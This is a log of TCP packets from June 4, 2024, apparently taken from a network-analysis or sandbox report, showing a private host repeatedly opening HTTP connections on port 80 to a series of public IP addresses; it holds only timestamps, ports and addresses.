Jun 4, 2024 14:18:45.577331066 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577356100 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577369928 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577380896 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577392101 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577403069 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577605963 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577635050 CEST	49875	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:45.577739000 CEST	49875	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:45.578103065 CEST	49875	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:46.947551966 CEST	49875	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:47.968713999 CEST	49876	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:48.100497007 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.100764990 CEST	49876	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:48.102632999 CEST	49876	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:48.234509945 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235074043 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235214949 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235229015 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235243082 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235255003 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235265970 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235276937 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235290051 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235368967 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235451937 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:48.235467911 CEST	49876	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:48.235929966 CEST	49876	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:48.238325119 CEST	49876	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:48.370110035 CEST	80	49876	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:53.382369995 CEST	49877	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:53.601407051 CEST	80	49877	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:53.601754904 CEST	49877	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:53.603776932 CEST	49877	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:53.822772980 CEST	80	49877	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:53.879776955 CEST	80	49877	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:53.879888058 CEST	80	49877	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:53.879898071 CEST	80	49877	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:53.879909039 CEST	80	49877	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:53.880038023 CEST	49877	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:55.117392063 CEST	49877	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:56.135446072 CEST	49878	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:56.355808020 CEST	80	49878	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:56.355956078 CEST	49878	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:56.360236883 CEST	49878	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:56.580393076 CEST	80	49878	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:56.634248018 CEST	80	49878	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:56.634388924 CEST	80	49878	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:56.634399891 CEST	80	49878	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:56.634535074 CEST	49878	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:57.866816998 CEST	49878	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:58.884996891 CEST	49879	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:59.106102943 CEST	80	49879	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:59.106306076 CEST	49879	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:59.108072042 CEST	49879	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:59.329263926 CEST	80	49879	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:59.382074118 CEST	80	49879	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:59.382194042 CEST	80	49879	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:59.382294893 CEST	80	49879	92.205.8.26	192.168.11.30
Jun 4, 2024 14:18:59.382406950 CEST	49879	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:18:59.382455111 CEST	49879	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:19:00.616194010 CEST	49879	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:19:01.634205103 CEST	49880	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:19:01.856019974 CEST	80	49880	92.205.8.26	192.168.11.30
Jun 4, 2024 14:19:01.856141090 CEST	49880	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:19:01.857976913 CEST	49880	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:19:02.079647064 CEST	80	49880	92.205.8.26	192.168.11.30
Jun 4, 2024 14:19:02.408593893 CEST	80	49880	92.205.8.26	192.168.11.30
Jun 4, 2024 14:19:02.408674955 CEST	80	49880	92.205.8.26	192.168.11.30
Jun 4, 2024 14:19:02.408874989 CEST	49880	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:19:02.411328077 CEST	49880	80	192.168.11.30	92.205.8.26
Jun 4, 2024 14:19:02.632937908 CEST	80	49880	92.205.8.26	192.168.11.30
Jun 4, 2024 14:19:07.569664955 CEST	49881	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:07.789211988 CEST	80	49881	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:07.789452076 CEST	49881	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:07.791268110 CEST	49881	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:08.010230064 CEST	80	49881	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:08.011444092 CEST	80	49881	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:08.011562109 CEST	80	49881	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:08.011707067 CEST	49881	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:09.301762104 CEST	49881	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:10.319612980 CEST	49882	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:10.536730051 CEST	80	49882	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:10.536892891 CEST	49882	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:10.538608074 CEST	49882	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:10.755036116 CEST	80	49882	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:10.756767988 CEST	80	49882	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:10.756781101 CEST	80	49882	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:10.756925106 CEST	49882	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:12.051129103 CEST	49882	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:13.069298029 CEST	49883	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:13.288104057 CEST	80	49883	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:13.288296938 CEST	49883	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:13.290023088 CEST	49883	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:13.508411884 CEST	80	49883	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:13.509655952 CEST	80	49883	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:13.509669065 CEST	80	49883	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:13.509850025 CEST	49883	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:14.800522089 CEST	49883	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:15.818599939 CEST	49884	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:16.035437107 CEST	80	49884	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:16.035666943 CEST	49884	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:16.037266016 CEST	49884	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:16.253592968 CEST	80	49884	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:16.255780935 CEST	80	49884	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:16.255794048 CEST	80	49884	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:16.256088018 CEST	49884	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:16.258750916 CEST	49884	80	192.168.11.30	3.64.163.50
Jun 4, 2024 14:19:16.474833965 CEST	80	49884	3.64.163.50	192.168.11.30
Jun 4, 2024 14:19:37.885236025 CEST	49885	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:38.109141111 CEST	80	49885	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:38.109276056 CEST	49885	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:38.111289024 CEST	49885	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:38.335360050 CEST	80	49885	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:38.335374117 CEST	80	49885	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:38.335586071 CEST	49885	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:39.623145103 CEST	49885	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:40.641122103 CEST	49886	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:40.867917061 CEST	80	49886	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:40.868125916 CEST	49886	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:40.869891882 CEST	49886	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:41.097110033 CEST	80	49886	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:41.097215891 CEST	80	49886	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:41.097410917 CEST	49886	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:42.372498989 CEST	49886	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:43.391028881 CEST	49887	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:43.619393110 CEST	80	49887	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:43.619646072 CEST	49887	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:43.621416092 CEST	49887	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:43.849869967 CEST	80	49887	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:43.849981070 CEST	80	49887	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:43.849993944 CEST	80	49887	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:43.850092888 CEST	80	49887	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:43.850178003 CEST	49887	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:44.078535080 CEST	80	49887	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:46.155742884 CEST	49888	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:46.379941940 CEST	80	49888	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:46.380151987 CEST	49888	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:46.381886005 CEST	49888	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:46.606271029 CEST	80	49888	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:46.606283903 CEST	80	49888	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:46.606604099 CEST	49888	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:46.609461069 CEST	49888	80	192.168.11.30	91.195.240.19
Jun 4, 2024 14:19:46.833589077 CEST	80	49888	91.195.240.19	192.168.11.30
Jun 4, 2024 14:19:51.817358971 CEST	49889	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:52.041409969 CEST	80	49889	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:52.041625977 CEST	49889	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:52.043632030 CEST	49889	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:52.268194914 CEST	80	49889	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:52.268207073 CEST	80	49889	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:52.268438101 CEST	49889	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:53.557526112 CEST	49889	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:54.575547934 CEST	49890	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:54.800019979 CEST	80	49890	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:54.800200939 CEST	49890	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:54.801759958 CEST	49890	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:55.026315928 CEST	80	49890	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:55.026329041 CEST	80	49890	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:55.026604891 CEST	49890	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:56.306888103 CEST	49890	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:57.324891090 CEST	49891	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:57.550837040 CEST	80	49891	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:57.551059008 CEST	49891	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:57.552762032 CEST	49891	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:19:57.778667927 CEST	80	49891	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:57.778769016 CEST	80	49891	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:57.778779030 CEST	80	49891	91.195.240.123	192.168.11.30
Jun 4, 2024 14:19:57.778786898 CEST	80	49891	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:00.074554920 CEST	49892	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:00.299987078 CEST	80	49892	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:00.300146103 CEST	49892	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:00.301908016 CEST	49892	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:00.527378082 CEST	80	49892	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:00.527390957 CEST	80	49892	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:00.527625084 CEST	49892	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:00.530397892 CEST	49892	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:00.755651951 CEST	80	49892	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:08.588738918 CEST	49893	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:20:08.738244057 CEST	80	49893	192.3.27.169	192.168.11.30
Jun 4, 2024 14:20:08.738450050 CEST	49893	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:20:08.740225077 CEST	49893	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:20:08.889683962 CEST	80	49893	192.3.27.169	192.168.11.30
Jun 4, 2024 14:20:09.059978008 CEST	80	49893	192.3.27.169	192.168.11.30
Jun 4, 2024 14:20:09.060050964 CEST	80	49893	192.3.27.169	192.168.11.30
Jun 4, 2024 14:20:09.060260057 CEST	49893	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:20:09.062587023 CEST	49893	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:20:09.212008953 CEST	80	49893	192.3.27.169	192.168.11.30
Jun 4, 2024 14:20:14.074136019 CEST	49894	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:14.225457907 CEST	80	49894	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:14.225764990 CEST	49894	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:14.228513002 CEST	49894	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:14.379839897 CEST	80	49894	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:14.395673037 CEST	80	49894	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:14.395695925 CEST	80	49894	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:14.395853043 CEST	49894	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:15.740078926 CEST	49894	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:16.760067940 CEST	49895	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:16.911218882 CEST	80	49895	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:16.911464930 CEST	49895	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:16.913436890 CEST	49895	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:17.064719915 CEST	80	49895	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:17.079696894 CEST	80	49895	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:17.079716921 CEST	80	49895	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:17.079874992 CEST	49895	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:18.426948071 CEST	49895	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:19.445494890 CEST	49896	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:19.596647978 CEST	80	49896	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:19.596829891 CEST	49896	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:19.598864079 CEST	49896	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:19.750160933 CEST	80	49896	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:19.765036106 CEST	80	49896	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:19.765054941 CEST	80	49896	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:19.765235901 CEST	49896	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:21.113895893 CEST	49896	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:22.131932020 CEST	49897	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:22.283236027 CEST	80	49897	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:22.283421040 CEST	49897	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:22.285574913 CEST	49897	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:22.438055992 CEST	80	49897	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:22.451523066 CEST	80	49897	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:22.451534986 CEST	80	49897	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:22.451546907 CEST	80	49897	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:22.451885939 CEST	49897	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:22.454632044 CEST	49897	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:20:22.605683088 CEST	80	49897	173.232.18.161	192.168.11.30
Jun 4, 2024 14:20:27.459249020 CEST	49898	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:27.627758980 CEST	80	49898	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:27.628097057 CEST	49898	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:27.630053997 CEST	49898	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:27.797903061 CEST	80	49898	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:27.806950092 CEST	80	49898	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:27.807109118 CEST	80	49898	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:27.807384014 CEST	49898	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:29.143363953 CEST	49898	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:30.161325932 CEST	49899	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:30.329907894 CEST	80	49899	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:30.330082893 CEST	49899	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:30.331979036 CEST	49899	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:30.500330925 CEST	80	49899	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:30.518039942 CEST	80	49899	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:30.518052101 CEST	80	49899	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:30.518345118 CEST	49899	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:31.845909119 CEST	49899	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:32.864073992 CEST	49900	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:33.030936956 CEST	80	49900	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:33.031088114 CEST	49900	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:33.032955885 CEST	49900	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:33.200428963 CEST	80	49900	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:33.216226101 CEST	80	49900	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:33.216358900 CEST	80	49900	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:33.216516972 CEST	49900	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:34.548445940 CEST	49900	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:35.566554070 CEST	49901	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:35.733870983 CEST	80	49901	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:35.734127998 CEST	49901	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:35.735954046 CEST	49901	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:35.903037071 CEST	80	49901	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:35.910913944 CEST	80	49901	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:35.910924911 CEST	80	49901	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:35.911233902 CEST	49901	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:35.913723946 CEST	49901	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:20:36.081211090 CEST	80	49901	203.161.49.193	192.168.11.30
Jun 4, 2024 14:20:40.925049067 CEST	49902	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:41.149601936 CEST	80	49902	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:41.149782896 CEST	49902	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:41.154891968 CEST	49902	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:41.379555941 CEST	80	49902	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:41.379570007 CEST	80	49902	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:41.379712105 CEST	49902	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:42.671612978 CEST	49902	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:43.689867020 CEST	49903	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:43.922164917 CEST	80	49903	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:43.922391891 CEST	49903	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:43.924374104 CEST	49903	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:44.156729937 CEST	80	49903	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:44.156843901 CEST	80	49903	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:44.156996012 CEST	49903	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:45.436521053 CEST	49903	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:46.454586029 CEST	49904	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:46.681159019 CEST	80	49904	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:46.681363106 CEST	49904	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:46.683096886 CEST	49904	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:46.909769058 CEST	80	49904	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:46.909781933 CEST	80	49904	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:46.909879923 CEST	80	49904	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:46.909890890 CEST	80	49904	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:49.204457998 CEST	49905	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:49.430608034 CEST	80	49905	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:49.430923939 CEST	49905	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:49.432606936 CEST	49905	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:49.658915997 CEST	80	49905	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:49.658935070 CEST	80	49905	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:49.659272909 CEST	49905	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:49.661757946 CEST	49905	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:20:49.887896061 CEST	80	49905	91.195.240.123	192.168.11.30
Jun 4, 2024 14:20:54.674614906 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:20:55.684227943 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:20:57.699405909 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:01.714087963 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:09.727945089 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:16.760579109 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:17.772998095 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:19.788184881 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:23.802911043 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:31.816790104 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:38.849272013 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:39.861896038 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:41.877011061 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:45.891707897 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:21:53.905637980 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:22:00.939934969 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:22:01.950666904 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:22:03.966202021 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:22:07.980613947 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:22:15.994379044 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:22:27.027931929 CEST	49907	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:27.189223051 CEST	80	49907	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:27.189423084 CEST	49907	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:27.191332102 CEST	49907	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:27.352880955 CEST	80	49907	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:27.353035927 CEST	80	49907	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:27.353147030 CEST	80	49907	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:27.353332996 CEST	49907	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:28.694751978 CEST	49907	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:29.712666035 CEST	49908	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:29.871221066 CEST	80	49908	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:29.871588945 CEST	49908	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:29.873224974 CEST	49908	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:30.031487942 CEST	80	49908	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:30.031626940 CEST	80	49908	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:30.031673908 CEST	80	49908	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:30.031944036 CEST	49908	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:31.381645918 CEST	49908	80	192.168.11.30	66.81.203.196
